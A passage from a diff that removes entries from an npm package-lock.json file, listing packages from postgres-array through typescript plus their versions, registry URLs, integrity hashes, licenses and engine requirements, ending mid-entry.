"node_modules/postgres-array": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-3.0.4.tgz", - "integrity": "sha512-nAUSGfSDGOaOAEGwqsRY27GPOea7CNipJPOA7lPbdEpx5Kg3qzdP0AaWC5MlhTWV9s4hFX39nomVZ+C4tnGOJQ==", - "license": "MIT", - "engines": { - "node": ">=12" - } - }, - "node_modules/postgres-bytea": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.1.tgz", - "integrity": "sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postgres-date": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz", - "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postgres-interval": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz", - "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==", - "license": "MIT", - "dependencies": { - "xtend": "^4.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/prelude-ls": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", - "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/prettier": { - "version": "3.9.6", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.9.6.tgz", - "integrity": "sha512-OpN0zzVdiaiAhxpuuj5efpIS4sY9j7bY6uR5mnj5yPzGkdkjNKSJeUThPb60Jw29QuAZgA4o+/iB49kFiaBX6g==", - "dev": true, - "license": "MIT", - "bin": { - "prettier": "bin/prettier.cjs" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/prettier/prettier?sponsor=1" - } - }, - "node_modules/prisma": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/prisma/-/prisma-7.10.0.tgz", - "integrity": "sha512-o0ornyJOWgygVAzGCpr8PdXV8EJLHyVGDDUr/voBQt8Azzw8cYTByzzPGcA/m4tCkPcnJA8raEOv2CslsKhPEw==", - "devOptional": true, - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/config": "7.10.0", - "@prisma/dev": "0.24.17", - "@prisma/engines": "7.10.0", - "@prisma/studio-core": "0.33.0", - "mysql2": "3.15.3", - "postgres": "3.4.7" - }, - "bin": { - "prisma": "build/index.js" - }, - "engines": { - "node": "^20.19 || ^22.12 || >=24.0" - }, - "peerDependencies": { - "better-sqlite3": ">=9.0.0", - "typescript": ">=5.4.0" - }, - "peerDependenciesMeta": { - "better-sqlite3": { - "optional": true - }, - "typescript": { - "optional": true - } - } - }, - "node_modules/process": { - "version": "0.11.10", - "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", - "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==", - "license": "MIT", - "engines": { - "node": ">= 0.6.0" - } - }, - "node_modules/process-warning": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/process-warning/-/process-warning-5.1.0.tgz", - "integrity": "sha512-jQSaVHsPgtyw60e1rQ/A+/ArPEj/S8pS/vFnyGa/gYFXrKk/6RuDkoqVDQ5NI5MmS01698ltlAk0NoDBNLujRw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT" - }, - "node_modules/proper-lockfile": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", - "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.4", - "retry": "^0.12.0", - "signal-exit": "^3.0.2" - } - }, - "node_modules/proper-lockfile/node_modules/signal-exit": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", - "devOptional": true, - "license": "ISC" - }, - "node_modules/proxy-from-env": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", - "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/pump": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.4.tgz", - "integrity": "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==", - "dev": true, - "license": "MIT", - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/punycode": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/pure-rand": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.1.0.tgz", - "integrity": "sha512-bVWawvoZoBYpp6yIoQtQXHZjmz35RSVHnUOTefl8Vcjr8snTPY1wnpSPMWekcFwbxI6gtmT7rSYPFvz71ldiOA==", - "devOptional": true, - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/dubzzz" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fast-check" - } - ], - "license": "MIT" - }, - "node_modules/qified": { - "version": "0.10.1", - "resolved": "https://registry.npmjs.org/qified/-/qified-0.10.1.tgz", - "integrity": "sha512-+Owyggi9IxT1ePKGafcI87ubSmxol6smwJ+RAHDQlx9+9cPwFWDiKFFCPuWhr9ignlGpZ9vDQLw67N4dcTVFEA==", - "dev": true, - "license": "MIT", - "dependencies": { - "hookified": "^2.1.1" - }, - "engines": { - "node": ">=20" - } - }, - "node_modules/qified/node_modules/hookified": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/hookified/-/hookified-2.2.0.tgz", - "integrity": "sha512-p/LgFzRN5FeoD3DLS6bkUapeye6E4SI6yJs6KetENd18S+FBthqYq2amJUWpt5z0EQwwHemidjY5OqJGEKm5uA==", - "dev": true, - "license": "MIT" - }, - "node_modules/quick-format-unescaped": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/quick-format-unescaped/-/quick-format-unescaped-4.0.4.tgz", - "integrity": "sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==", - "license": "MIT" - }, - "node_modules/rc9": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/rc9/-/rc9-3.1.0.tgz", - "integrity": "sha512-ufjkNVzbRHKcCOmTahZkmVsyc3W+MSk3jY03m+a7tGHkIsdVMG9l10/3HvFbWkkKzY5VFp3pkRsIo/UYgmFL7Q==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "defu": "^6.1.7", - "destr": "^2.0.5" - } - }, - "node_modules/react": { - "version": "19.2.8", - "resolved": "https://registry.npmjs.org/react/-/react-19.2.8.tgz", - "integrity": "sha512-PWaYA1L/q9u2u7xYQi+Y3L3Yfnie7XyLeaJICV1MGD6LprsBxcAqGjYyr0eY3p+QdsA+x/Irkt4Qif8D63+Sbw==", - "devOptional": true, - "license": "MIT", - "peer": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-dom": { - "version": "19.2.8", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.8.tgz", - "integrity": "sha512-rVprimfGBG3DR+Tq0IQG2DT5PxKth1WIGDmj5yPmlzr4YBe7uyE+Du4oVqTDXZSHGGGXRtTJEGSSePyQCMBglQ==", - "devOptional": true, - "license": "MIT", - "peer": true, - "dependencies": { - "scheduler": "^0.27.0" - }, - "peerDependencies": { - "react": "^19.2.8" - } - }, - "node_modules/readable-stream": { - "version": "4.7.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", - "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", - "license": "MIT", - "dependencies": { - "abort-controller": "^3.0.0", - "buffer": "^6.0.3", - "events": "^3.3.0", - "process": "^0.11.10", - "string_decoder": "^1.3.0" - }, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - } - }, - "node_modules/readdirp": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-5.1.1.tgz", - "integrity": "sha512-Kko+Y5XQ6fM+Ce3dq3m9YGxnacYZYl9cA1wZjaF3Vbry2L3i1qVg8+CAgNPsXRArPMUMCaOR7oa9Nqntc43JKA==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">= 20.19.0" - }, - "funding": { - "type": "individual", - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/real-require": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/real-require/-/real-require-0.2.0.tgz", - "integrity": "sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==", - "license": "MIT", - "engines": { - "node": ">= 12.13.0" - } - }, - "node_modules/remeda": { - "version": "2.33.4", - "resolved": "https://registry.npmjs.org/remeda/-/remeda-2.33.4.tgz", - "integrity": "sha512-ygHswjlc/opg2VrtiYvUOPLjxjtdKvjGz1/plDhkG66hjNjFr1xmfrs2ClNFo/E6TyUFiwYNh53bKV26oBoMGQ==", - "devOptional": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/remeda" - } - }, - "node_modules/require-from-string": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", - "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/ret": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/ret/-/ret-0.5.0.tgz", - "integrity": "sha512-I1XxrZSQ+oErkRR4jYbAyEEu2I0avBvvMM5JN+6EBprOGRCs63ENqZ3vjavq8fBw2+62G5LF5XelKwuJpcvcxw==", - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", - "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/reusify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", - "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", - "license": "MIT", - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/rfdc": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", - "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", - "license": "MIT" - }, - "node_modules/robust-predicates": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.3.tgz", - "integrity": "sha512-NS3levdsRIUOmiJ8FZWCP7LG3QpJyrs/TE0Zpf1yvZu8cAJJ6QMW92H1c7kWpdIHo8RvmLxN/o2JXTKHp74lUA==", - "devOptional": true, - "license": "Unlicense" - }, - "node_modules/rolldown": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.2.7.tgz", - "integrity": "sha512-g0EtLvBjTUB7jhyV0S/TCup3v/XSVl45vUIGbOGU4QPiyjTenCe4mKuFvW9fEgYmS2Fo42AUssRmNuMziXdrig==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "@oxc-project/types": "=0.148.0", - "@rolldown/pluginutils": "^1.0.0" - }, - "bin": { - "rolldown": "bin/cli.mjs" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "optionalDependencies": { - "@rolldown/binding-android-arm-eabi": "1.2.7", - "@rolldown/binding-android-arm64": "1.2.7", - "@rolldown/binding-darwin-arm64": "1.2.7", - "@rolldown/binding-darwin-x64": "1.2.7", - "@rolldown/binding-freebsd-x64": "1.2.7", - "@rolldown/binding-linux-arm-gnueabihf": "1.2.7", - "@rolldown/binding-linux-arm64-gnu": "1.2.7", - "@rolldown/binding-linux-arm64-musl": "1.2.7", - "@rolldown/binding-linux-ppc64-gnu": "1.2.7", - "@rolldown/binding-linux-s390x-gnu": "1.2.7", - "@rolldown/binding-linux-x64-gnu": "1.2.7", - "@rolldown/binding-linux-x64-musl": "1.2.7", - "@rolldown/binding-openharmony-arm64": "1.2.7", - "@rolldown/binding-win32-arm64-msvc": "1.2.7", - "@rolldown/binding-win32-x64-msvc": "1.2.7" - } - }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/safe-regex2": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/safe-regex2/-/safe-regex2-5.1.1.tgz", - "integrity": "sha512-mOSBvHGDZMuIEZMdOz/aCEYDCv0E7nfcNsIhUF+/P+xC7Hyf3FkvymqgPbg9D1EdSGu+uKbJgy09K/RKKc7kJA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "ret": "~0.5.0" - }, - "bin": { - "safe-regex2": "bin/safe-regex2.js" - } - }, - "node_modules/safe-stable-stringify": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", - "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/scheduler": { - "version": "0.27.0", - "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", - "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", - "devOptional": true, - "license": "MIT", - "peer": true - }, - "node_modules/secure-json-parse": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/secure-json-parse/-/secure-json-parse-4.1.0.tgz", - "integrity": "sha512-l4KnYfEyqYJxDwlNVyRfO2E4NTHfMKAWdUuA8J0yve2Dz/E/PdBepY03RvyJpssIpRFwJoCD55wA+mEDs6ByWA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/semver": { - "version": "7.8.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", - "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/seq-queue": { - "version": "0.0.5", - "resolved": "https://registry.npmjs.org/seq-queue/-/seq-queue-0.0.5.tgz", - "integrity": "sha512-hr3Wtp/GZIc/6DAGPDcV4/9WoZhjrkXsi5B/07QgX8tsdc6ilr7BFM6PM6rbdAX1kFSDYeZGLipIZZKyQP0O5Q==", - "devOptional": true - }, - "node_modules/set-cookie-parser": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz", - "integrity": "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==", - "license": "MIT" - }, - "node_modules/setprototypeof": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", - "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", - "license": "ISC" - }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/siginfo": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", - "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", - "dev": true, - "license": "ISC" - }, - "node_modules/signal-exit": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", - "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", - "devOptional": true, - "license": "ISC", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/smol-toml": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.8.0.tgz", - "integrity": "sha512-kCZr2V3ch9i00x8zXRhjUNVcjG9ijES5dDudkXvUVCT5QlJNQWElSJdZqyPemffHoLNUYwOcou0Fy+ojN0uHSQ==", - "license": "BSD-3-Clause", - "engines": { - "node": ">= 18" - }, - "funding": { - "url": "https://github.com/sponsors/cyyynthia" - } - }, - "node_modules/sonic-boom": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/sonic-boom/-/sonic-boom-4.2.1.tgz", - "integrity": "sha512-w6AxtubXa2wTXAUsZMMWERrsIRAdrK0Sc+FUytWvYAhBJLyuI4llrMIC1DtlNSdI99EI86KZum2MMq3EAZlF9Q==", - "license": "MIT", - "dependencies": { - "atomic-sleep": "^1.0.0" - } - }, - "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - "dev": true, - "license": "BSD-3-Clause", - "peer": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/split2": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz", - "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==", - "license": "ISC", - "engines": { - "node": ">= 10.x" - } - }, - "node_modules/sqlstring": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/sqlstring/-/sqlstring-2.3.3.tgz", - "integrity": "sha512-qC9iz2FlN7DQl3+wjwn3802RTyjCx7sDvfQEXchwa6CWOx07/WVfh91gBmQ9fahw8snwGEWU3xGzOt4tFyHLxg==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/stackback": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", - "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", - "dev": true, - "license": "MIT" - }, - "node_modules/statuses": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", - "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/std-env": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.2.0.tgz", - "integrity": "sha512-oCUKSupKTHX53EyjDtuZQ64pjLJ6yYCtpmEw0goYxtjG9KpbRe8KAsl2tBUGU9DyMcJ0RwJ8GqJAFzMXcXW1Rw==", - "dev": true, - "license": "MIT" - }, - "node_modules/string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "license": "MIT", - "dependencies": { - "safe-buffer": "~5.2.0" - } - }, - "node_modules/strip-json-comments": { - "version": "5.0.3", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-5.0.3.tgz", - "integrity": "sha512-1tB5mhVo7U+ETBKNf92xT4hrQa3pm0MZ0PQvuDnWgAAGHDsfp4lPSpiS6psrSiet87wyGPh9ft6wmhOMQ0hDiw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14.16" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/thread-stream": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/thread-stream/-/thread-stream-4.2.0.tgz", - "integrity": "sha512-e2zZ96wSChazBsbENf/Pcm/4swHt2cEKQ92rhUjkL9GCKiTDJIaTBenjE/m9DXi0QBmTMDkFDdOomUy20A1tDQ==", - "license": "MIT", - "dependencies": { - "real-require": "^1.0.0" - }, - "engines": { - "node": ">=20" - } - }, - "node_modules/thread-stream/node_modules/real-require": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/real-require/-/real-require-1.0.0.tgz", - "integrity": "sha512-P4nbQYQfePJxRSmY+v/KINxVucm4NF3p3s7pJveMTtom52FR4YGltUQLB8idDXwDDWW+eYrWDFbuzUnjoWHF7g==", - "license": "MIT" - }, - "node_modules/tinybench": { - "version": "6.1.4", - "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-6.1.4.tgz", - "integrity": "sha512-9APumHG7r4yOk4X4WlkmE71aZcv1gvin1czO3OQ1U9iJcFA5Ja/ygyb0vPOVHTthFozUYs8CLoLUlM8grb2lTQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/tinyexec": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.3.0.tgz", - "integrity": "sha512-QKAl9m8gWWGHV8jZcPeym6j+XULi6tOf1mT83WYJ4Lk2ytW/uwAWkrP0uFsdoYMdueVJ0qs26wZ+23xeB4ibNQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/tinyglobby": { - "version": "0.2.17", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", - "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", - "dev": true, - "license": "MIT", - "dependencies": { - "fdir": "^6.5.0", - "picomatch": "^4.0.4" - }, - "engines": { - "node": ">=12.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/SuperchupuDev" - } - }, - "node_modules/toad-cache": { - "version": "3.7.4", - "resolved": "https://registry.npmjs.org/toad-cache/-/toad-cache-3.7.4.tgz", - "integrity": "sha512-m1TdR/rvT7kgGJZhspNtXdsdYk0fddFpJJFlG5s+UkPFo6lkLoZ3YLOaovPYjq1R75NP5JfeTlSHaOsE09peCg==", - "license": "MIT", - "engines": { - "node": ">=20" - } - }, - "node_modules/toidentifier": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", - "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", - "license": "MIT", - "engines": { - "node": ">=0.6" - } - }, - "node_modules/ts-api-utils": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", - "integrity": "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.12" - }, - "peerDependencies": { - "typescript": ">=4.8.4" - } - }, - "node_modules/tsx": { - "version": "4.23.13", - "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.23.13.tgz", - "integrity": "sha512-BL5MGkRln6aDYhb0xbQlEAGw743BaZYWdbWtdJOBriYJboKgUUYCadFp2/FpBBZquBC/ezNBn7wMMPx7FDZUDw==", - "dev": true, - "license": "MIT", - "dependencies": { - "esbuild": "~0.28.0" - }, - "bin": { - "tsx": "dist/cli.mjs" - }, - "engines": { - "node": ">=18.0.0" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - } - }, - "node_modules/type-check": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", - "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/typescript": { - "version": "5.9.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "devOptional": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/typescript-eslint": { - "version": "8.69.0", - "resolved": 